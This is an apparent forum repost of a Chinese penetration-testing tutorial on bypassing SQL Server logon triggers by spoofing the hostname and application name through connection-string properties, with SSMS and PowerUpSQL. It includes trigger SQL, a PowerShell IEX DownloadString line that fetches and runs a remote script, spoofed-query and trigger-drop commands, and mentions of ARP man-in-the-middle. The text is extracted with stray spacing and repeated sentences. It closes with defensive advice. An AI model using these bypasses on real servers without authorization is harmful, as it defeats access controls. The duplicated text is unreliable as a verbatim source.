搜索

[12949] 2018-07-15_绕过SQLServer的登录触发器限制

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2018-07-15_绕过SQLServer的登录触发器限制 绕 过 S Q L   S e r v e r 的 登 录 触 发 器 限 制 s e c i s t   F r e e B u f   2 0 1 8 - 0 7 - 1 5 在 做 渗 透 测 试 任 务 时 ， 我 们 常 常 会 碰 到 一 些 直 连 在 做 渗 透 测 试 任 务 时 ， 我 们 常 常 会 碰 到 一 些 直 连 S Q L   S e r v e r 数 据 库 的 桌 面 应 用 。 但 偶 尔 也 会 碰 到 一 些 后 端 为 数 据 库 的 桌 面 应 用 。 但 偶 尔 也 会 碰 到 一 些 后 端 为 S Q L   S e r v e r 的 应 用 ， 并 且 其 只 允 许 来 自 预 定 义 的 主 机 名 或 应 用 程 序 列 表 的 连 接 。 这 些 类 型 的 限 制 通 常 是 通 过 登 的 应 用 ， 并 且 其 只 允 许 来 自 预 定 义 的 主 机 名 或 应 用 程 序 列 表 的 连 接 。 这 些 类 型 的 限 制 通 常 是 通 过 登 录 触 发 器 来 强 制 执 行 的 。 在 本 文 中 ， 我 将 向 大 家 展 示 如 何 利 用 连 接 字 符 串 属 性 欺 骗 主 机 名 和 应 用 程 序 名 称 来 绕 录 触 发 器 来 强 制 执 行 的 。 在 本 文 中 ， 我 将 向 大 家 展 示 如 何 利 用 连 接 字 符 串 属 性 欺 骗 主 机 名 和 应 用 程 序 名 称 来 绕 过 这 些 限 制 。 示 例 中 将 会 包 括 过 这 些 限 制 。 示 例 中 将 会 包 括 S S M S 和 和 P o w e r U p S Q L 。 这 对 于 那 些 继 承 了 旧 式 桌 面 应 用 的 渗 透 测 试 人 员 和 开 发 。 这 对 于 那 些 继 承 了 旧 式 桌 面 应 用 的 渗 透 测 试 人 员 和 开 发 人 员 非 常 有 用 。 人 员 非 常 有 用 。 什 么 是 登 录 触 发 器 ？ 什 么 是 登 录 触 发 器 ？ 登 录 触 发 器 将 为 响 应 L O G O N 事 件 而 激 发 存 储 过 程 。 与   S Q L   S e r v e r 实 例 建 立 用 户 会 话 时 将 引 发 此 事 件 。   登 录 触 发 器 将 在 登 录 的 身 份 验 证 阶 段 完 成 之 后 且 用 户 会 话 实 际 建 立 之 前 激 发 。   因 此 ， 来 自 触 发 器 内 部 且 通 常 将 到 达 用 户 的 所 有 消 息 （ 例 如 错 误 消 息 和 来 自 P R I N T 语 句 的 消 息 ） 会 传 送 到 S Q L   S e r v e r 错 误 日 志 。   如 果 身 份 验 证 失 败 ， 将 不 激 发 登 录 触 发 器 。 安 装 安 装 S Q L   S e r v e r 如 果 你 还 没 有 安 装 S Q L   S e r v e r ， 请 进 行 如 下 操 作 ： 1 . 下 载 并 安 装 S Q L   S e r v e r 2 . 下 载 并 安 装 S Q L   S e r v e r   M a n a g e m e n t   S t u d i o   E x p r e s s （ S S M S ） 创 建 一 个 主 机 名 限 制 登 录 触 发 器 创 建 一 个 主 机 名 限 制 登 录 触 发 器 以 下 是 在 家 庭 实 验 环 境 中 设 置 触 发 器 的 说 明 ， 该 触 发 器 将 根 据 连 接 的 工 作 站 名 称 来 限 制 访 问 。 1 . 使 用 S S M S 以 s y s a d m i n 身 份 登 录 到 新 的 S Q L   S e r v e r 实 例 。 2 . 首 先 ， 让 我 们 使 用 以 下 命 令 来 获 取 连 接 到 S Q L   s e r v e r 实 例 的 主 机 名 。 默 认 情 况 下 ， 它 将 向 我 们 返 回 连 接 到 S Q L S e r v e r 实 例 的 工 作 站 的 主 机 名 。 S E L E C T   H O S T _ N A M E ( )
3 . 创 建 一 个 仅 允 许 白 名 单 主 机 名 连 接 的 登 录 触 发 器 。 并 按 照 下 图 所 示 执 行 该 触 发 器 。 4 . 设 置 登 录 触 发 器 后 ， 当 你 再 次 尝 试 使 用 S S M S 登 录 时 ， 应 该 会 出 现 类 似 下 面 的 错 误 ， 因 为 你 要 连 接 的 主 机 名 并 不 在 当 前 的 白 名 单 上 。 - -   C r e a t e   o u r   l o g o n   t r i g g e r C R E A T E   T R I G G E R   M y H o s t s O n l y O N   A L L   S E R V E R F O R   L O G O N A S B E G I N         I F         (                 - -   W h i t e   l i s t   o f   a l l o w e d   h o s t n a m e s   a r e   d e f i n e d   h e r e .                 H O S T _ N A M E ( )   N O T   I N   ( ' P r o d B o x ' , ' Q a B o x ' , ' D e v B o x ' , ' U s e r B o x ' )         )         B E G I N                 R A I S E R R O R ( ' Y o u   a r e   n o t   a l l o w e d   t o   l o g i n   f r o m   t h i s   h o s t n a m e . ' ,   1 6 ,   1 ) ;                 R O L L B A C K ;         E N D   E N D
使 用 使 用 S S M S 欺 骗 主 机 名 欺 骗 主 机 名 在 这 一 点 上 ， 你 可 能 会 问 ， “ 我 们 （ 攻 击 者 ） 什 么 时 候 会 在 现 实 世 界 中 实 际 使 用 它 呢 ？ ” 我 的 回 答 是 通 常 是 在 你 从 配 置 文 件 或 反 编 译 代 码 恢 复 连 接 字 符 串 之 后 使 用 ， 现 在 我 们 希 望 使 用 该 信 息 直 接 连 接 到 后 端 S Q L   S e r v e r ， 这 是 应 用 程 序 渗 透 测 试 中 非 常 常 见 的 情 况 。 此 外 ， 我 们 还 会 在 网 络 测 试 和 红 蓝 对 抗 期 间 ， 在 打 开 的 文 件 共 享 中 找 到 一 些 内 部 应 用 程 序 和 配 置 文 件 。 1 . 在 S S M S 中 打 开 “ C o n n e c t   O b j e c t   E x p l o r e r ” 并 导 航 到 “ A d d i t i o n a l   C o n n e c t i o n   P a r a m e t e r s ” 选 项 。 这 里 我 们 可 以 动 态 设 置 连 接 字 符 串 属 性 （ 超 酷 ） 。 本 例 中 ， 我 们 将 “ W o r k s t a t i o n   I D ” 属 性 设 置 为 “ D e v B o x ” ， 这 是 白 名 单 中 包 含 的 一 个 主 机 名 。 注 意 ： 稍 后 我 会 介 绍 几 种 识 别 白 名 单 主 机 名 的 方 法 。 2 . 点 击 c o n n e c t 登 录 。 此 时 ， 如 果 你 打 开 查 询 窗 口 再 次 检 查 主 机 名 时 ， 你 会 发 现 主 机 名 将 返 回 “ D e v B o x ” 。 这 进 一 步 说 明 我 们 成 功 欺 骗 了 主 机 名 的 检 测 。 S E L E C T   H O S T _ N A M E ( )
使 用 连 接 字 符 串 欺 骗 主 机 名 使 用 连 接 字 符 串 欺 骗 主 机 名 实 际 上 ， S S M S 只 是 使 用 ” w o r k s t a t i o n   i d ” 属 性 集 来 构 建 了 一 个 连 接 字 符 串 。 下 面 是 一 个 简 单 连 接 字 符 串 的 例 子 ， 它 将 作 为 当 前 W i n d o w s 用 户 连 接 到 远 程 S Q L   S e r v e r 实 例 ， 并 选 择 “ M a s t e r ” 数 据 库 。 如 果 我 们 在 上 一 节 中 展 示 的 登 录 触 发 器 已 经 生 效 的 话 ， 我 们 应 该 看 到 “ f a i l e d   t o   c o n n e c t ” 消 息 。   但 是 ， 如 果 将 “ W o r k s t a t i o n   I D ” 属 性 设 置 为 白 名 单 中 的 主 机 名 ， 就 能 够 顺 利 登 录 。 使 用 使 用 P o w e r U p S Q L 欺 骗 主 机 名 欺 骗 主 机 名 我 在 P o w e r U p S Q L 的 G e t - S Q L Q u e r y 函 数 中 添 加 了 “ W o r k s t a t i o n I d ” 选 项 。 下 面 是 一 个 示 例 ， 将 为 大 家 演 示 如 何 绕 过 我 们 在 上 一 节 中 创 建 的 登 录 触 发 器 。 1 . 打 开 P o w e r s h e l l 并 使 用 自 己 喜 欢 的 方 式 加 载 P o w e r U p S Q L 。 下 面 的 示 例 显 示 了 如 何 直 接 从 G i t H u b 加 载 P o w e r U p S Q L 。 2 . 由 于 触 发 器 限 制 ， 初 始 连 接 失 败 。   请 注 意 ， 我 们 需 要 设 置 “ - R e t u r n E r r o r ” 标 志 ， 以 查 看 服 务 器 返 回 的 错 误 信 息 。 D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ; D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ; W o r k s t a t i o n   I D   =   D e v B o x ; I E X ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / N e t S P I / P o w e r U p S Q L / m a s t e r / P o w e r U p S Q L . p s 1 " ) G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   h o s t _ n a m e ( ) "   - R e t u r n E r r o r
3 . 现 在 我 们 将 w o r k s t a t i o n i d 选 项 设 置 为 “ D e v B o x ” ， 这 样 你 就 能 够 成 功 执 行 查 询 了 。 4 . 如 果 你 想 要 删 除 触 发 器 ， 你 可 以 执 行 以 下 命 令 。 创 建 登 录 触 发 器 来 限 制 应 用 程 序 创 建 登 录 触 发 器 来 限 制 应 用 程 序 以 下 是 在 家 庭 实 验 室 中 设 置 触 发 器 的 说 明 ， 该 触 发 器 将 根 据 连 接 的 应 用 程 序 名 称 来 限 制 访 问 。 1 . 使 用 S S M S 以 s y s a d m i n 身 份 登 录 到 新 的 S Q L   S e r v e r 实 例 。 2 . 首 先 ， 让 我 们 使 用 以 下 命 令 查 看 下 连 接 到 S Q L   S e r v e r 实 例 的 应 用 程 序 的 名 称 。 不 出 意 外 的 话 ， 它 应 为 我 们 返 回 “ M i c r o s o f t   S Q L   S e r v e r   M a n a g e m e n t   S t u d i o   –   Q u e r y ” 。 3 . 创 建 一 个 仅 允 许 白 名 单 应 用 程 序 进 行 连 接 的 登 录 触 发 器 。 并 按 照 下 图 所 示 执 行 该 触 发 器 。 G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   h o s t _ n a m e ( ) "   - W o r k s t a t i o n I d   " D e v B o x " G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - W o r k s t a t i o n I d   " D e v B o x "   - Q u e r y   ' D R O P   T R I G G E R   M y H o s t s O n l y   o n   a l l   s e r v e r ' S E L E C T   A P P _ N A M E ( )
4 . 设 置 登 录 触 发 器 后 ， 当 你 再 次 尝 试 使 用 S S M S 登 录 时 ， 你 应 该 会 收 到 以 下 错 误 提 示 ， 因 为 你 要 连 接 的 应 用 程 序 并 不 在 当 前 的 白 名 单 列 表 中 。 使 用 使 用 S S M S 欺 骗 应 用 程 序 名 称 欺 骗 应 用 程 序 名 称 同 样 地 你 可 能 会 问 ， “ 我 们 （ 攻 击 者 ） 什 么 时 候 会 在 现 实 世 界 中 实 际 使 用 它 呢 ？ ” 。 某 些 应 用 程 序 的 名 称 已 经 在 连 接 S Q L   S e r v e r 的 连 接 字 符 串 中 静 态 设 置 。 与 主 机 名 类 似 ， 我 们 可 以 在 配 置 文 件 和 源 码 中 找 到 它 们 。 实 际 上 ， 很 少 能 见 到 登 录 触 发 器 使 用 应 用 程 序 名 称 来 限 制 访 问 ， 但 我 们 也 已 碰 见 过 好 几 回 了 。 1 . 在 S S M S 中 打 开 ” C o n n e c t   O b j e c t   E x p l o r e r ” 并 导 航 到 ” A d d i t i o n a l   C o n n e c t i o n   P a r a m e t e r s ” 选 项 。 我 们 可 以 在 这 里 即 时 设 置 连 接 字 符 串 属 性 （ 超 酷 ） 。   对 于 这 个 例 子 来 说 ， 我 们 将 ” a p p l i c a t i o n   n a m e ” 属 性 设 置 为 ” S u p e r A p p 3 0 0 0 ” ， 它 是 白 名 单 中 的 一 个 应 用 程 序 名 。 注 意 ： 稍 后 我 会 介 绍 几 种 识 别 白 名 单 中 的 应 用 程 序 名 的 方 法 。 C R E A T E   T R I G G E R   M y A p p s O n l y O N   A L L   S E R V E R F O R   L O G O N A S B E G I N           I F           (                     - -   S e t   t h e   w h i t e   l i s t   o f   a p p l i c a t i o n   n a m e s   h e r e                     A P P _ N A M E ( )   N O T   I N   ( ' A p p l i c a t i o n 1 ' , ' A p p l i c a t i o n 2 ' , ' S u p e r A p p 3 0 0 0 ' , ' L e g a c y A p p ' , ' D e v A p p 1 ' )           )           B E G I N                     R A I S E R R O R ( ' Y o u   a r e   n o t   a l l o w e d   t o   l o g i n   f r o m   t h i s   a p p l i c a t i o n   n a m e . ' ,   1 6 ,   1 ) ;                     R O L L B A C K ;           E N D E N D
2 . 点 击 c o n n e c t 登 录 。 此 时 ， 如 果 你 打 开 查 询 窗 口 再 次 检 查 应 用 程 序 名 时 ， 你 会 发 现 应 用 程 序 名 将 返 回 “ S u p e r A p p 3 0 0 0 ” 。 这 进 一 步 说 明 我 们 成 功 欺 骗 了 主 机 名 的 检 测 。 使 用 字 符 串 连 接 欺 骗 应 用 程 序 名 称 使 用 字 符 串 连 接 欺 骗 应 用 程 序 名 称 正 如 在 上 一 节 中 提 到 的 那 样 ， 存 在 一 个 名 为 “ A p p N a m e ” 的 连 接 字 符 串 属 性 ， 应 用 程 序 可 以 使 用 它 将 其 应 用 程 序 名 称 提 交 给 S Q L   S e r v e r ， 例 如 ： S E L E C T   A P P _ N A M E ( )
使 用 使 用 P o w e r U p S Q L 欺 骗 应 用 程 序 名 称 欺 骗 应 用 程 序 名 称 出 于 场 景 演 示 的 需 要 ， 我 更 新 了 P o w e r U p S Q L 的 G e t - S Q L Q u e r y 函 数 使 其 包 含 “ a p p n a m e ” 选 项 。 示 例 如 下 ： 1 . 打 开 P o w e r s h e l l 并 使 用 自 己 喜 欢 的 方 式 加 载 P o w e r U p S Q L 。 下 面 的 示 例 显 示 了 如 何 直 接 从 G i t H u b 加 载 P o w e r U p S Q L 。 2 . P o w e r U p S Q L 函 数 封 装 了 许 多 . N E T   S Q L   S e r v e r 函 数 。 默 认 情 况 下 ， 当 使 用 . N E T 以 编 程 方 式 连 接 到 S Q L   S e r v e r 时 ， “ a p p n a m e ” 属 性 将 设 置 为 “ . N e t   S q l C l i e n t   D a t a   P r o v i d e r ” 。 但 是 ， 由 于 我 们 创 建 了 一 个 新 的 登 录 触 发 器 ， 并 通 过 “ a p p n a m e ” 来 限 制 访 问 ， 所 以 会 得 到 以 下 错 误 。 3 . 现 在 将 “ a p p n a m e ” 属 性 设 置 为 “ S u p e r A p p 3 0 0 0 ” ， 这 样 就 能 够 成 功 执 行 查 询 了 。 4 . 如 果 你 想 要 删 除 触 发 器 ， 你 可 以 执 行 以 下 命 令 。 5 . 现 在 你 不 需 要 欺 骗 应 用 程 序 名 称 就 可 以 连 接 了 。 D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ;     A p p l i c a t i o n   N a m e   = M y A p p " D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ;     A p p l i c a t i o n N a m e   = M y A p p " D a t a   S o u r c e = s e r v e r i n s t a n c e 1 ; I n i t i a l   C a t a l o g = M a s t e r ; I n t e g r a t e d   S e c u r i t y = T r u e ;     A p p N a m e   = M y A p p " I E X ( N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / N e t S P I / P o w e r U p S Q L / m a s t e r / P o w e r U p S Q L . p s 1 " ) G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   a p p _ n a m e ( ) "   - R e t u r n E r r o r G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - Q u e r y   " S E L E C T   a p p _ n a m e ( ) "   - A p p N a m e   S u p e r A p p 3 0 0 0 G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - A p p N a m e   S u p e r A p p 3 0 0 0   - Q u e r y   ' D R O P   T R I G G E R   M y A p p s O n l y   o n   a l l   s e r v e r ' G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4     - Q u e r y   ' S E L E C T   A P P _ N A M E ( ) '
6 . 或 者 你 也 可 以 伪 造 任 意 应 用 程 序 的 名 称 。 寻 找 白 名 单 列 表 中 的 主 机 和 应 用 程 序 名 寻 找 白 名 单 列 表 中 的 主 机 和 应 用 程 序 名 如 果 你 不 确 定 登 录 触 发 器 的 白 名 单 列 表 中 有 哪 些 主 机 和 应 用 程 序 名 ， 则 可 以 借 助 下 面 的 这 些 方 法 。 1 . 检 查 登 录 触 发 源 代 码 检 查 登 录 触 发 源 代 码 获 取 登 录 触 发 器 中 白 名 单 列 表 的 最 佳 方 法 是 查 看 其 源 代 码 。   但 通 常 情 况 下 ， 这 都 需 要 一 定 的 权 限 才 能 访 问 。 G e t - S Q L Q u e r y   - V e r b o s e   - I n s t a n c e   M S S Q L S R V 0 4 S Q L S E R V E R 2 0 1 4   - A p p N a m e   E v i l C l i e n t   - Q u e r y   ' S E L E C T   A P P _ N A M E ( ) ' S E L E C T         n a m e , O B J E C T _ D E F I N I T I O N ( O B J E C T _ I D )   a s   t r i g g e r _ d e f i n i t i o n , p a r e n t _ c l a s s _ d e s c , c r e a t e _ d a t e , m o d i f y _ d a t e , i s _ m s _ s h i p p e d , i s _ d i s a b l e d F R O M   s y s . s e r v e r _ t r i g g e r s     O R D E R   B Y   n a m e   A S C
2 . 查 看 应 用 程 序 代 码 查 找 硬 编 码 的 的 主 机 名 和 应 用 程 序 查 看 应 用 程 序 代 码 查 找 硬 编 码 的 的 主 机 名 和 应 用 程 序 有 时 白 名 单 中 的 主 机 名 和 应 用 程 序 会 被 硬 编 码 到 应 用 程 序 中 。 如 果 您 正 在 处 理 . N E T 或 J a v a 应 用 程 序 ， 则 可 以 通 过 反 编 译 ， 并 查 找 与 正 在 使 用 的 连 接 字 符 串 相 关 的 关 键 字 来 定 位 有 关 源 代 码 。 这 种 方 法 假 定 您 可 以 访 问 应 用 程 序 程 序 集 或 配 置 文 件 。 这 时 ， J D - G U I 和 D N S P Y 将 会 派 上 用 场 。 3 . 考 察 应 用 流 量 考 察 应 用 流 量 有 时 ， 白 名 单 中 的 主 机 名 和 应 用 程 序 ， 是 应 用 程 序 启 动 时 从 数 据 库 服 务 器 中 抓 取 的 。 因 此 ， 您 可 以 使 用 您 最 喜 爱 的 嗅 探 器 来 获 取 白 名 单 中 的 主 机 名 和 应 用 程 序 。 我 有 过 几 次 这 样 的 经 历 。 你 可 能 会 问 ， 为 什 么 会 有 人 这 么 做 ?   别 人 可 能 永 远 不 会 知 道 答 案 。 4 . 使 用 域 系 统 列 表 使 用 域 系 统 列 表 如 果 您 已 经 拥 有 域 帐 户 ， 则 可 以 查 询 A c t i v e   D i r e c t o r y 以 获 取 域 计 算 机 的 列 表 。 然 后 ， 您 可 以 遍 历 列 表 ， 从 而 找 出 允 许 连 接 的 列 表 。 当 然 ， 这 里 假 定 当 前 域 用 户 有 权 登 录 到 S Q L   S e r v e r ， 并 且 白 名 单 列 出 的 主 机 名 与 域 相 关 联 。 5 . 使 用 使 用 M I T M 记 录 连 接 记 录 连 接 我 们 还 可 以 通 过 基 于 A R P 的 中 间 人 （ M I T M ） 攻 击 来 拦 截 从 远 程 系 统 到 S Q L   S e r v e r 的 连 接 。 如 果 连 接 已 加 密 （ 自 S Q L   S e r v e r   2 0 1 4 以 来 ， 都 会 默 认 进 行 加 密 ） ， 虽 然 看 不 到 流 量 内 容 ， 但 能 够 看 到 已 经 连 接 了 哪 些 主 机 。 当 然 ， 我 们 也 可 以 使 用 M I T M 技 术 。 警 告 ： 如 果 攻 击 过 程 正 在 验 证 登 陆 凭 证 ， 可 能 会 导 致 数 据 包 丢 失 ， 并 对 生 产 系 统 产 生 严 重 影 响 ， 因 此 请 谨 慎 使 用 该 方 法 。 一 般 建 议 一 般 建 议 使 用 登 录 触 发 器 时 ， 不 要 根 据 客 户 端 可 以 轻 松 修 改 的 信 息 来 限 制 对 S Q L   S e r v e r 的 访 问 。 如 果 您 希 望 使 用 白 名 单 技 术 限 制 系 统 访 问 ， 请 考 虑 使 用 网 络 或 主 机 级 防 火 墙 规 则 ， 而 不 是 登 录 触 发 器 。 考 虑 根 据 用 户 组 和 访 问 权 限 来 限 制 对 S Q L   S e r v e r 的 访 问 ， 而 不 是 使 用 登 录 触 发 器 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理